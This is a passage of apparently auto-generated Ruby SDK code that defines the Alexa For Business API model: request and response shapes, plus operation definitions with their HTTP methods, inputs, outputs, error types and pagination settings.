UpdateRoomRequest.add_member(:profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ProfileArn")) UpdateRoomRequest.struct_class = Types::UpdateRoomRequest UpdateRoomResponse.struct_class = Types::UpdateRoomResponse UpdateSkillGroupRequest.add_member(:skill_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "SkillGroupArn")) UpdateSkillGroupRequest.add_member(:skill_group_name, Shapes::ShapeRef.new(shape: SkillGroupName, location_name: "SkillGroupName")) UpdateSkillGroupRequest.add_member(:description, Shapes::ShapeRef.new(shape: SkillGroupDescription, location_name: "Description")) UpdateSkillGroupRequest.struct_class = Types::UpdateSkillGroupRequest UpdateSkillGroupResponse.struct_class = Types::UpdateSkillGroupResponse UserData.add_member(:user_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "UserArn")) UserData.add_member(:first_name, Shapes::ShapeRef.new(shape: user_FirstName, location_name: "FirstName")) UserData.add_member(:last_name, Shapes::ShapeRef.new(shape: user_LastName, location_name: "LastName")) UserData.add_member(:email, Shapes::ShapeRef.new(shape: Email, location_name: "Email")) UserData.add_member(:enrollment_status, Shapes::ShapeRef.new(shape: EnrollmentStatus, location_name: "EnrollmentStatus")) UserData.add_member(:enrollment_id, Shapes::ShapeRef.new(shape: EnrollmentId, location_name: "EnrollmentId")) UserData.struct_class = Types::UserData UserDataList.member = Shapes::ShapeRef.new(shape: UserData) # @api private API = Seahorse::Model::Api.new.tap do |api| api.version = "2017-11-09" api.metadata = { "apiVersion" => "2017-11-09", "endpointPrefix" => "a4b", "jsonVersion" => "1.1", "protocol" => "json", "serviceFullName" => "Alexa For Business", "serviceId" => "Alexa For Business", "signatureVersion" => "v4", "targetPrefix" => "AlexaForBusiness", "uid" => "alexaforbusiness-2017-11-09", } api.add_operation(:approve_skill, Seahorse::Model::Operation.new.tap do |o| o.name = "ApproveSkill" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ApproveSkillRequest) o.output = Shapes::ShapeRef.new(shape: ApproveSkillResponse) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:associate_contact_with_address_book, Seahorse::Model::Operation.new.tap do |o| o.name = "AssociateContactWithAddressBook" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: AssociateContactWithAddressBookRequest) o.output = Shapes::ShapeRef.new(shape: AssociateContactWithAddressBookResponse) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) end) api.add_operation(:associate_device_with_network_profile, Seahorse::Model::Operation.new.tap do |o| o.name = "AssociateDeviceWithNetworkProfile" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: AssociateDeviceWithNetworkProfileRequest) o.output = Shapes::ShapeRef.new(shape: AssociateDeviceWithNetworkProfileResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: DeviceNotRegisteredException) end) api.add_operation(:associate_device_with_room, Seahorse::Model::Operation.new.tap do |o| o.name = "AssociateDeviceWithRoom" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: AssociateDeviceWithRoomRequest) o.output = Shapes::ShapeRef.new(shape: AssociateDeviceWithRoomResponse) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: DeviceNotRegisteredException) end) api.add_operation(:associate_skill_group_with_room, Seahorse::Model::Operation.new.tap do |o| o.name = "AssociateSkillGroupWithRoom" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: AssociateSkillGroupWithRoomRequest) o.output = Shapes::ShapeRef.new(shape: AssociateSkillGroupWithRoomResponse) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:associate_skill_with_skill_group, Seahorse::Model::Operation.new.tap do |o| o.name = "AssociateSkillWithSkillGroup" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: AssociateSkillWithSkillGroupRequest) o.output = Shapes::ShapeRef.new(shape: AssociateSkillWithSkillGroupResponse) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: SkillNotLinkedException) end) api.add_operation(:associate_skill_with_users, Seahorse::Model::Operation.new.tap do |o| o.name = "AssociateSkillWithUsers" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: AssociateSkillWithUsersRequest) o.output = Shapes::ShapeRef.new(shape: AssociateSkillWithUsersResponse) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:create_address_book, Seahorse::Model::Operation.new.tap do |o| o.name = "CreateAddressBook" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: CreateAddressBookRequest) o.output = Shapes::ShapeRef.new(shape: CreateAddressBookResponse) o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsException) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) end) api.add_operation(:create_business_report_schedule, Seahorse::Model::Operation.new.tap do |o| o.name = "CreateBusinessReportSchedule" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: CreateBusinessReportScheduleRequest) o.output = Shapes::ShapeRef.new(shape: CreateBusinessReportScheduleResponse) o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsException) end) api.add_operation(:create_conference_provider, Seahorse::Model::Operation.new.tap do |o| o.name = "CreateConferenceProvider" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: CreateConferenceProviderRequest) o.output = Shapes::ShapeRef.new(shape: CreateConferenceProviderResponse) o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsException) end) api.add_operation(:create_contact, Seahorse::Model::Operation.new.tap do |o| o.name = "CreateContact" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: CreateContactRequest) o.output = Shapes::ShapeRef.new(shape: CreateContactResponse) o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsException) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) end) api.add_operation(:create_gateway_group, Seahorse::Model::Operation.new.tap do |o| o.name = "CreateGatewayGroup" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: CreateGatewayGroupRequest) o.output = Shapes::ShapeRef.new(shape: CreateGatewayGroupResponse) o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsException) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) end) api.add_operation(:create_network_profile, Seahorse::Model::Operation.new.tap do |o| o.name = "CreateNetworkProfile" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: CreateNetworkProfileRequest) o.output = Shapes::ShapeRef.new(shape: CreateNetworkProfileResponse) o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsException) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: InvalidCertificateAuthorityException) o.errors << Shapes::ShapeRef.new(shape: InvalidServiceLinkedRoleStateException) end) api.add_operation(:create_profile, Seahorse::Model::Operation.new.tap do |o| o.name = "CreateProfile" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: CreateProfileRequest) o.output = Shapes::ShapeRef.new(shape: CreateProfileResponse) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:create_room, Seahorse::Model::Operation.new.tap do |o| o.name = "CreateRoom" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: CreateRoomRequest) o.output = Shapes::ShapeRef.new(shape: CreateRoomResponse) o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsException) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) end) api.add_operation(:create_skill_group, Seahorse::Model::Operation.new.tap do |o| o.name = "CreateSkillGroup" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: CreateSkillGroupRequest) o.output = Shapes::ShapeRef.new(shape: CreateSkillGroupResponse) o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsException) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:create_user, Seahorse::Model::Operation.new.tap do |o| o.name = "CreateUser" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: CreateUserRequest) o.output = Shapes::ShapeRef.new(shape: CreateUserResponse) o.errors << Shapes::ShapeRef.new(shape: ResourceInUseException) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:delete_address_book, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteAddressBook" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteAddressBookRequest) o.output = Shapes::ShapeRef.new(shape: DeleteAddressBookResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:delete_business_report_schedule, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteBusinessReportSchedule" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteBusinessReportScheduleRequest) o.output = Shapes::ShapeRef.new(shape: DeleteBusinessReportScheduleResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:delete_conference_provider, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteConferenceProvider" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteConferenceProviderRequest) o.output = Shapes::ShapeRef.new(shape: DeleteConferenceProviderResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:delete_contact, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteContact" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteContactRequest) o.output = Shapes::ShapeRef.new(shape: DeleteContactResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:delete_device, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteDevice" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteDeviceRequest) o.output = Shapes::ShapeRef.new(shape: DeleteDeviceResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: InvalidCertificateAuthorityException) end) api.add_operation(:delete_device_usage_data, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteDeviceUsageData" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteDeviceUsageDataRequest) o.output = Shapes::ShapeRef.new(shape: DeleteDeviceUsageDataResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: DeviceNotRegisteredException) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) end) api.add_operation(:delete_gateway_group, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteGatewayGroup" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteGatewayGroupRequest) o.output = Shapes::ShapeRef.new(shape: DeleteGatewayGroupResponse) o.errors << Shapes::ShapeRef.new(shape: ResourceAssociatedException) end) api.add_operation(:delete_network_profile, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteNetworkProfile" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteNetworkProfileRequest) o.output = Shapes::ShapeRef.new(shape: DeleteNetworkProfileResponse) o.errors << Shapes::ShapeRef.new(shape: ResourceInUseException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:delete_profile, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteProfile" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteProfileRequest) o.output = Shapes::ShapeRef.new(shape: DeleteProfileResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:delete_room, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteRoom" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteRoomRequest) o.output = Shapes::ShapeRef.new(shape: DeleteRoomResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:delete_room_skill_parameter, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteRoomSkillParameter" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteRoomSkillParameterRequest) o.output = Shapes::ShapeRef.new(shape: DeleteRoomSkillParameterResponse) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:delete_skill_authorization, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteSkillAuthorization" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteSkillAuthorizationRequest) o.output = Shapes::ShapeRef.new(shape: DeleteSkillAuthorizationResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:delete_skill_group, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteSkillGroup" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteSkillGroupRequest) o.output = Shapes::ShapeRef.new(shape: DeleteSkillGroupResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:delete_user, Seahorse::Model::Operation.new.tap do |o| o.name = "DeleteUser" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DeleteUserRequest) o.output = Shapes::ShapeRef.new(shape: DeleteUserResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:disassociate_contact_from_address_book, Seahorse::Model::Operation.new.tap do |o| o.name = "DisassociateContactFromAddressBook" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DisassociateContactFromAddressBookRequest) o.output = Shapes::ShapeRef.new(shape: DisassociateContactFromAddressBookResponse) end) api.add_operation(:disassociate_device_from_room, Seahorse::Model::Operation.new.tap do |o| o.name = "DisassociateDeviceFromRoom" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DisassociateDeviceFromRoomRequest) o.output = Shapes::ShapeRef.new(shape: DisassociateDeviceFromRoomResponse) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: DeviceNotRegisteredException) end) api.add_operation(:disassociate_skill_from_skill_group, Seahorse::Model::Operation.new.tap do |o| o.name = "DisassociateSkillFromSkillGroup" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DisassociateSkillFromSkillGroupRequest) o.output = Shapes::ShapeRef.new(shape: DisassociateSkillFromSkillGroupResponse) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:disassociate_skill_from_users, Seahorse::Model::Operation.new.tap do |o| o.name = "DisassociateSkillFromUsers" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DisassociateSkillFromUsersRequest) o.output = Shapes::ShapeRef.new(shape: DisassociateSkillFromUsersResponse) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:disassociate_skill_group_from_room, Seahorse::Model::Operation.new.tap do |o| o.name = "DisassociateSkillGroupFromRoom" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DisassociateSkillGroupFromRoomRequest) o.output = Shapes::ShapeRef.new(shape: DisassociateSkillGroupFromRoomResponse) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:forget_smart_home_appliances, Seahorse::Model::Operation.new.tap do |o| o.name = "ForgetSmartHomeAppliances" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ForgetSmartHomeAppliancesRequest) o.output = Shapes::ShapeRef.new(shape: ForgetSmartHomeAppliancesResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:get_address_book, Seahorse::Model::Operation.new.tap do |o| o.name = "GetAddressBook" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetAddressBookRequest) o.output = Shapes::ShapeRef.new(shape: GetAddressBookResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:get_conference_preference, Seahorse::Model::Operation.new.tap do |o| o.name = "GetConferencePreference" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetConferencePreferenceRequest) o.output = Shapes::ShapeRef.new(shape: GetConferencePreferenceResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:get_conference_provider, Seahorse::Model::Operation.new.tap do |o| o.name = "GetConferenceProvider" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetConferenceProviderRequest) o.output = Shapes::ShapeRef.new(shape: GetConferenceProviderResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:get_contact, Seahorse::Model::Operation.new.tap do |o| o.name = "GetContact" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetContactRequest) o.output = Shapes::ShapeRef.new(shape: GetContactResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:get_device, Seahorse::Model::Operation.new.tap do |o| o.name = "GetDevice" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetDeviceRequest) o.output = Shapes::ShapeRef.new(shape: GetDeviceResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:get_gateway, Seahorse::Model::Operation.new.tap do |o| o.name = "GetGateway" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetGatewayRequest) o.output = Shapes::ShapeRef.new(shape: GetGatewayResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:get_gateway_group, Seahorse::Model::Operation.new.tap do |o| o.name = "GetGatewayGroup" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetGatewayGroupRequest) o.output = Shapes::ShapeRef.new(shape: GetGatewayGroupResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:get_invitation_configuration, Seahorse::Model::Operation.new.tap do |o| o.name = "GetInvitationConfiguration" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetInvitationConfigurationRequest) o.output = Shapes::ShapeRef.new(shape: GetInvitationConfigurationResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:get_network_profile, Seahorse::Model::Operation.new.tap do |o| o.name = "GetNetworkProfile" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetNetworkProfileRequest) o.output = Shapes::ShapeRef.new(shape: GetNetworkProfileResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: InvalidSecretsManagerResourceException) end) api.add_operation(:get_profile, Seahorse::Model::Operation.new.tap do |o| o.name = "GetProfile" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetProfileRequest) o.output = Shapes::ShapeRef.new(shape: GetProfileResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:get_room, Seahorse::Model::Operation.new.tap do |o| o.name = "GetRoom" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetRoomRequest) o.output = Shapes::ShapeRef.new(shape: GetRoomResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:get_room_skill_parameter, Seahorse::Model::Operation.new.tap do |o| o.name = "GetRoomSkillParameter" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetRoomSkillParameterRequest) o.output = Shapes::ShapeRef.new(shape: GetRoomSkillParameterResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:get_skill_group, Seahorse::Model::Operation.new.tap do |o| o.name = "GetSkillGroup" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetSkillGroupRequest) o.output = Shapes::ShapeRef.new(shape: GetSkillGroupResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:list_business_report_schedules, Seahorse::Model::Operation.new.tap do |o| o.name = "ListBusinessReportSchedules" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ListBusinessReportSchedulesRequest) o.output = Shapes::ShapeRef.new(shape: ListBusinessReportSchedulesResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:list_conference_providers, Seahorse::Model::Operation.new.tap do |o| o.name = "ListConferenceProviders" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ListConferenceProvidersRequest) o.output = Shapes::ShapeRef.new(shape: ListConferenceProvidersResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:list_device_events, Seahorse::Model::Operation.new.tap do |o| o.name = "ListDeviceEvents" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ListDeviceEventsRequest) o.output = Shapes::ShapeRef.new(shape: ListDeviceEventsResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:list_gateway_groups, Seahorse::Model::Operation.new.tap do |o| o.name = "ListGatewayGroups" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ListGatewayGroupsRequest) o.output = Shapes::ShapeRef.new(shape: ListGatewayGroupsResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:list_gateways, Seahorse::Model::Operation.new.tap do |o| o.name = "ListGateways" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ListGatewaysRequest) o.output = Shapes::ShapeRef.new(shape: ListGatewaysResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:list_skills, Seahorse::Model::Operation.new.tap do |o| o.name = "ListSkills" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ListSkillsRequest) o.output = Shapes::ShapeRef.new(shape: ListSkillsResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:list_skills_store_categories, Seahorse::Model::Operation.new.tap do |o| o.name = "ListSkillsStoreCategories" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ListSkillsStoreCategoriesRequest) o.output = Shapes::ShapeRef.new(shape: ListSkillsStoreCategoriesResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:list_skills_store_skills_by_category, Seahorse::Model::Operation.new.tap do |o| o.name = "ListSkillsStoreSkillsByCategory" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ListSkillsStoreSkillsByCategoryRequest) o.output = Shapes::ShapeRef.new(shape: ListSkillsStoreSkillsByCategoryResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:list_smart_home_appliances, Seahorse::Model::Operation.new.tap do |o| o.name = "ListSmartHomeAppliances" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ListSmartHomeAppliancesRequest) o.output = Shapes::ShapeRef.new(shape: ListSmartHomeAppliancesResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:list_tags, Seahorse::Model::Operation.new.tap do |o| o.name = "ListTags" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ListTagsRequest) o.output = Shapes::ShapeRef.new(shape: ListTagsResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:put_conference_preference, Seahorse::Model::Operation.new.tap do |o| o.name = "PutConferencePreference" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: PutConferencePreferenceRequest) o.output = Shapes::ShapeRef.new(shape: PutConferencePreferenceResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:put_invitation_configuration, Seahorse::Model::Operation.new.tap do |o| o.name = "PutInvitationConfiguration" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: PutInvitationConfigurationRequest) o.output = Shapes::ShapeRef.new(shape: PutInvitationConfigurationResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:put_room_skill_parameter, Seahorse::Model::Operation.new.tap do |o| o.name = "PutRoomSkillParameter" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: PutRoomSkillParameterRequest) o.output = Shapes::ShapeRef.new(shape: PutRoomSkillParameterResponse) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:put_skill_authorization, Seahorse::Model::Operation.new.tap do |o| o.name = "PutSkillAuthorization" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: PutSkillAuthorizationRequest) o.output = Shapes::ShapeRef.new(shape: PutSkillAuthorizationResponse) o.errors << Shapes::ShapeRef.new(shape: UnauthorizedException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:register_avs_device, Seahorse::Model::Operation.new.tap do |o| o.name = "RegisterAVSDevice" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: RegisterAVSDeviceRequest) o.output = Shapes::ShapeRef.new(shape: RegisterAVSDeviceResponse) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: InvalidDeviceException) end) api.add_operation(:reject_skill, Seahorse::Model::Operation.new.tap do |o| o.name = "RejectSkill" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: RejectSkillRequest) o.output = Shapes::ShapeRef.new(shape: RejectSkillResponse) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:resolve_room, Seahorse::Model::Operation.new.tap do |o| o.name = "ResolveRoom" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ResolveRoomRequest) o.output = Shapes::ShapeRef.new(shape: ResolveRoomResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:revoke_invitation, Seahorse::Model::Operation.new.tap do |o| o.name = "RevokeInvitation" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: RevokeInvitationRequest) o.output = Shapes::ShapeRef.new(shape: RevokeInvitationResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:search_address_books, Seahorse::Model::Operation.new.tap do |o| o.name = "SearchAddressBooks" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: SearchAddressBooksRequest) o.output = Shapes::ShapeRef.new(shape: SearchAddressBooksResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:search_contacts, Seahorse::Model::Operation.new.tap do |o| o.name = "SearchContacts" o.http_method = "POST" o.http_request_uri = "/" o.input = 